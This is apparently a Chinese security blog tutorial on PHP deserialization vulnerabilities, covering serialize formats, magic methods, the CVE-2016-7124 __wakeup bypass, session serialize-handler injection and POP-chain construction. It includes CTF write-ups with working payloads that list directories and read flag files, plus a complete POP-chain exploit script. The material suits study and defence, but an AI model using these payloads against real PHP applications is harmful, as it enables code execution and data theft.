基本概念
POP 面向属性编程(Property-Oriented Programing)
常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。
类
类成员包括由属性和方法构成,类属性存在于数据段,类方法存在于代码段,对于一个类来说,类的方法不占用类的空间,占空间的只有类的属性
序列化
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示
- 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
- 成员变量若是 private 属性,它会在两侧加入空字节 ,长度 +2
- 如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个定义该类的文件或使用函数
spl_autoload_register()
来实现。
反序列化
为了能够unserialize()一个对象,这个对象的类必须已经定义过
- 反序列化可以控制类属性,无论是private还是public
发序列化的危害
序列化操作只是保存对象(不是类)的变量,不保存对象的方法,因此其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的
序列化机制的作用
在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。
如果一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本的调用?这肯定是不现实的。
serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换中可以保存当前变量的值;而unserialize则可以将serialize生成的字符串变换回变量。
序列化示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php
class User
{
public $name='';
public $age=0;
public function printData()
{
echo "$this->name is $this->age old!";
}
}
$user = new User();
$user->name = 'Jhon';
$user->age = 20;
echo serialize($user);
$userString = 'O:4:"User":2:{s:4:"name";s:4:"Jhon";s:3:"age";i:20;}';
$userObject = unserialize($userString);
$userObject->printData();
?>第一个
echo
输出O:4:"User":2:{s:4:"name";s:4:"Jhon";s:3:"age";i:20;}
- O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;} 就是对象user序列化之后的形式
- O表示是对象,4 表示 对象名长度为4,user为对象名
- 2表示有两个参数,{} 里面是参数的key和value
- S 表示是string对象,3 表示长度,age是key
- i 表示是integer对象,20是value
a array 数组 b boolean布尔型 d double双精度型 i integer o common object一般对象 r reference s string C custom object 自定义对象 O class N null
魔术方法
系统自带的方法名,均以双下划线开头 ,在特定的情况下会被调用
我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法
1 | __construct() //构造函数 |
__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。
如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
__wakeup()
unserialize() 会检查是否存在一个
__wakeup()
方法。如果存在,则会先调用
__wakeup()
方法,预先准备对象需要的资源预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
代码示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
public function getInfo(){
echo $this->info . '<br>';
}
/**
* serialize前调用 用于删选需要被序列化存储的成员变量
* @return array [description]
*/
public function __sleep(){
echo __METHOD__ . '<br>';
return ['ID', 'sex', 'age'];
}
/**
* unserialize前调用 用于预先准备对象资源
*/
public function __wakeup(){
echo __METHOD__ . '<br>';
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
}
$me = new Caiji('twosmi1e', 20, 'male');
$me->getInfo();
//存在__sleep()函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>';
$me = unserialize($temp);
//__wakeup()组装的$info
$me->getInfo();
?>运行结果
1
2
3
4
5ID: twosmi1e, age: 20, sex: male
Caiji::__sleep
O:5:"Caiji":3:{s:2:"ID";s:8:"twosmi1e";s:3:"sex";i:20;s:3:"age";s:4:"male";}
Caiji::__wakeup
ID: twosmi1e, age: 20, sex: male
__toString()
把类当作字符串使用时触发
如
echo $obj;
应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。示例代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
public function __toString(){
return $this->info;
}
}
$me = new Caiji('twosmi1e', 20, 'male');
echo '__toString:' . $me . '<br>';
?>运行结果
__toString:ID: twosmi1e, age: 20, sex: male
如果不编写
__toString()
函数,则报错:Catchable fatal error: Object of class Caiji could not be converted to string
反序列化对象注入
绕过 __wakeup()
方法
在 PHP 5.3.29 实验成功
1 | <?php |
分析一下源码,
__destruct
方法中show_source(dirname (__FILE__).'/'.$this ->file);
会读取file文件内容,我们需要利用这里来读flag.php,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup
会在unserialize之前执行,所以要绕过这一点。CVE-2016-7124
当序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过
__wakeup()
的执行构造 payload
构造序列化对象
O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
绕过
__wakeup()
O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
TIPS
注意:因为file是protect属性,所以需要加上
\00*\00
base64 编码
payload:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
session 反序列化漏洞
PHP session
简介
PHP session
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session
变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体session
值会存储于服务器端,这也是与cookie
的主要区别,所以seesion
的安全性相对较高。PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化
PHP Session 工作流程
当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话
cookie
),如果发现请求的Cookies
、Get
、Pos
t中不存在session id
,PHP 就会自动调用php_session_create_id
函数创建一个新的会话,并且在http response
中通过set-cookie
头部发送给客户端保存有时候浏览器用户设置会禁止
cookie
,当在客户端cookie
被禁用的情况下,php也可以自动将session id
添加到url参数中以及form
的hidden
字段中,但这需要将php.ini
中的session.use_trans_sid
设为开启,也可以在运行时调用ini_set
来设置这个配置项会话开始之后,PHP 就会将会话中的数据设置到
$_SESSION
变量中在session 变量中注册变量:
1
2
3
4
5
6
7<?php
session_start();
if (!isset($_SESSION['username']))
{
$_SESSION['username'] = 'xianzhi' ;
}
?>当 PHP 停止的时候,它会自动读取
$_SESSION
中的内容,并将其进行 序列化 , 然后发送给会话保存管理器来进行保存默认情况下,PHP 使用内置的文件会话保存管理器来完成
session
的保存,也可以通过配置项session.save_handler
来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项session.save_path
所指定的位置。
php.ini
中的配置,可以在phpinfo.php
中查看session.save_path
设置session的存储路径
session.save_handler
设定用户自定义存储函数,若想使用PHP内置
session
存储机制之外的可以使用这个函数session.auto_start
指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler
定义用来序列化/反序列化的处理器名字,默认使用php
除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同
php_binary
键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
php
键名+竖线+经过serialize()函数反序列处理的值
php_serialize
serialize()函数反序列处理数组
session.gc_divisor
php session垃圾回收机制相关配置
session.sid_bits_per_character
指定编码的会话ID字符中的位数
session.use_strict_mode
严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID
session.use_cookies
指定是否在客户端用 cookie 来存放会话 ID,默认启用
session.cookie_secure
指定是否仅通过安全连接发送
cookie
,默认关闭session.use_only_cookies
指定是否在客户端 仅仅 使用
cookie
来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击session.name
指定会话名以用做
cookie
的名字,只能由字母数字组成,默认为PHPSESSID
session.cookie_lifetime
指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0
session.cookie_path
指定要设置会话
cookie
的路径,默认为 /session.cookie_domain
指定要设置会话
cookie
的域名,默认为无,表示根据cookie
规范产生cookie
的主机名session.cookie_httponly
将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用
session.gc_probability
该配置项与
session.gc_divisor
合起来用来管理garbage collection
,即垃圾回收进程启动的概率session.gc_divisor
该配置项与
session.gc_probability
合起来定义了在每个会话初始化时启动垃圾回收进程的概率session.gc_maxlifetime
指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在
session
启动的时候开始( 取决于session.gc_probability
和session.gc_divisor
)session.referer_check
包含有用来检查每个
HTTP Referer
的子串。如果客户端发送了Referer
信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串session.cache_limiter
指定会话页面所使用的缓冲控制方法(
none/nocache/private/private_no_expire/public
)。默认为nocache
session.cache_expire
以分钟数指定缓冲的会话页面的存活期,此设定对
nocache
缓冲控制方法无效。默认为 180session.use_trans_sid
指定是否启用透明 SID 支持。默认禁用
session.sid_length
配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。
session.trans_sid_tags
指定启用透明sid支持时重写哪些HTML标签以包括会话ID
session.trans_sid_hosts
指定启用透明sid支持时重写的主机,以包括会话ID
session.sid_bits_per_character
配置编码的会话ID字符中的位数
session.upload_progress.enabled
启用上传进度跟踪,并填充
$ _SESSION
变量, 默认启用。session.upload_progress.cleanup
读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
session.upload_progress.prefix
配置
$ _SESSION
中用于上传进度键的前缀,默认为upload_progress_
session.upload_progress.name
$ _SESSION
中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq
定义应该多长时间更新一次上传进度信息
session.upload_progress.min_freq
更新之间的最小延迟
session.lazy_write
配置会话数据在更改时是否被重写,默认启用
以上配置项涉及到的安全比较多,如会话劫持、XSS、CSRF 等
存储机制
php中的 session 内容 默认是以文件方式来存储的,由
session.save_handler
来决定。文件名由sess_sessionid
命名,文件内容则为session序列化后的值。1
2
3
4
5
6<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = 'twosmi1e';
?>在文件配置中
session.save_path
路径下会生成对应的session
文件php_serialize
经过serialize()函数序列化处理的 数组
a:1:{s:4:"name";s:8:"twosmi1e";}
php
键名 + 竖线 + 经过
serialize()
函数序列化处理的值name|s:8:"twosmi1e";
php_binary
键名的长度对应的 ASCII 字符 + 键名 + 经过
serialize()
函数序列化处理的值names:8:"twosmi1e";
注:自 PHP 5.5.4 起可以使用 php_serialize
上述三种处理器中,
php_serialize
在内部简单地直接使用serialize/unserialize
函数,并且不会有php
和php_binary
所具有的限制。使用较旧的序列化处理器导致
$_SESSION
的索引既不能是数字也不能包含特殊字符(|
!
)三种处理器的存储格式差异,就会造成在session序列化和反序列化处理器设置不当时的安全隐患
利用
由乌云白帽子 ryat
师傅于 2015-12-12
在 php官网上提出来,乌云编号:71101
1 | <form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”> <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” /> <input type =“ file” name =“ file” /> <input type =“ submit” /></ form> |
$_SESSION
中的键值就会为 $_SESSION["upload_progress_ryat"]
,在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由 php.ini
中的 session.serialize_handler
选项设置。 这意味着,如果在脚本中设置了不同的 serialize_handler
,那么可以导致注入任意 session
数据。
形成的原理就是在用 session.serialize_handler = php_serialize
存储的字符可以引入 | , 再用 session.serialize_handler = php
格式取出 $_SESSION
的值时, |
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞
简单示例
session.php
文件1
2
3
4
5
6<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>session 的初始内容
a:1:{s:7:"session";s:5:"hello";}
class.php
文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class XianZhi
{
public $name = 'panda';
function __wakeup()
{
echo "Who are you?";
}
function __destruct()
{
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
?>- 访问页面显示:
panda
- 访问页面显示:
两个文件的作用
session.php
文件的处理器是php_serialize
,class.php
文件的处理器是php
,session.php
文件的作用是传入可控的session
值,class.php
文件的作用是在反序列化开始前输出Who are you?
,反序列化结束的时候输出name
值利用
要在
session.php
文件传入|
+序列化
格式的值,然后再次访问class.php
文件的时候,就会在调用session
值的时候,触发此 BUG生成序列化字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<?php
class XianZhi
{
public $name;
function __wakeup()
{
echo "Who are you?";
}
function __destruct()
{
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
$str->name = "xianzhi";
echo serialize($str);
?>序列化字符串:
O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}
payload:
|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}
用payload 访问 session.php ,生成session
a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}
访问 class.php,触发漏洞
1
2
3Who are you?
panda
xianzhi说明构造传入的字符串被反序列化成
XianZhi
对象
2019极客巅峰 lol
link
Jarvisoj PHPINFO
1 | <?php |
题目采用 php 5.6.21(查看phpinfo.php),PHP版本大于5.5.4,默认使用
php_serialize
默认为php_serialize而index.php中又使用了php,反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
session.upload_progress.enabled
为On-
Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name 同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。通常这些键值可以通过读取INI设置来获得 ,如:
1
2
3
4<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");
var_dump($_SESSION[$key]);
?>上传进度数组的结构
1
2
3
4
5
6<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来构造数据写入 session
在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。
其实我们是有办法传入$_SESSION 数据的,这里就利用到了|的反序列化问题
构造POST提交表单
1
2
3
4
5
6
7
8
9
10
11
12
13
14<!DOCTYPE html>
<html>
<head>
<title>test XXE</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--不对字符编码-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="go" />
</form>
</body>
</html>TIPS: 注意enctype属性
multipart/form-data
不对字符编码,在使用包含文件上传控件表单时,必须使用该值
application/x-www-form-urlencoded
在发送前编码所有字符(默认)
text/plain
空格转换为
+
,但不对特殊字符编码
构造序列化字符串
1
2
3
4
5
6
7
8
9<?php
class OowoO
{
public $mdzz='print_r(dirname(__FILE__));';
}
$obj = new OowoO();
$a = serialize($obj);
var_dump($a);注意需要转义,抓包吧filename改为payload
最终提交为:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
查看当前目录
目录扫描
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
读取flag,这里需要注意转义
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
flag:
$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";
安洵杯 Double-s
但是这道题好像不需要用到 session 反序列化,有可控变量直接反序列化
1 | <?php |
payload:
http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}
POP链构造
基本概念
POP,面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。
POP链利用思路
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
实例
1 | <?php |
需要构造POP链, 执行GetFlag类中的get_flag()函数
string1
中的__tostring
存在$this->str1->get_flag()
,分析一下要自动调用__tostring()
需要把类string1
当成字符串来使用,因为调用的是参数str1
的方法,所以需要把str1
赋值为类GetFlag
的对象。发现类
func
中存在__invoke
方法执行了字符串拼接,所以把mod1
赋值为string1
类的对象便可以触发__toString()
,需要把func
对象当成函数使用,才回自动调用__invoke
在
funct
中找到了函数调用(mod1
),需要把mod1
赋值为func
类的对象,又因为函数调用在__call
方法中,且参数为$test2
,即无法调用test2
方法时自动调用__call
方法;在
Call
中的test1
方法中存在$this->mod1->test2();
,需要把$mod1
赋值为funct
的对象,让__call
自动调用。查找
test1
方法的调用点,在start_gg
中发现$this->mod1->test1();
,把$mod1
赋值为Call
类的对象,等待__destruct()
自动调用。
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象
参考
声明
- 博主初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,否则后果自负,与本人无关!
- 部分学习内容来自网络,回馈网络,如涉及版权问题,请联系删除 orz
Author: AMao
Link: https://passenger-amao.github.io/2020/07/17/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
Copyright: 本站所有文章均采用 署名-非商业性使用-相同方式共享 4.0 国际(CC BY-NC-SA 4.0) 许可协议。转载请注明出处!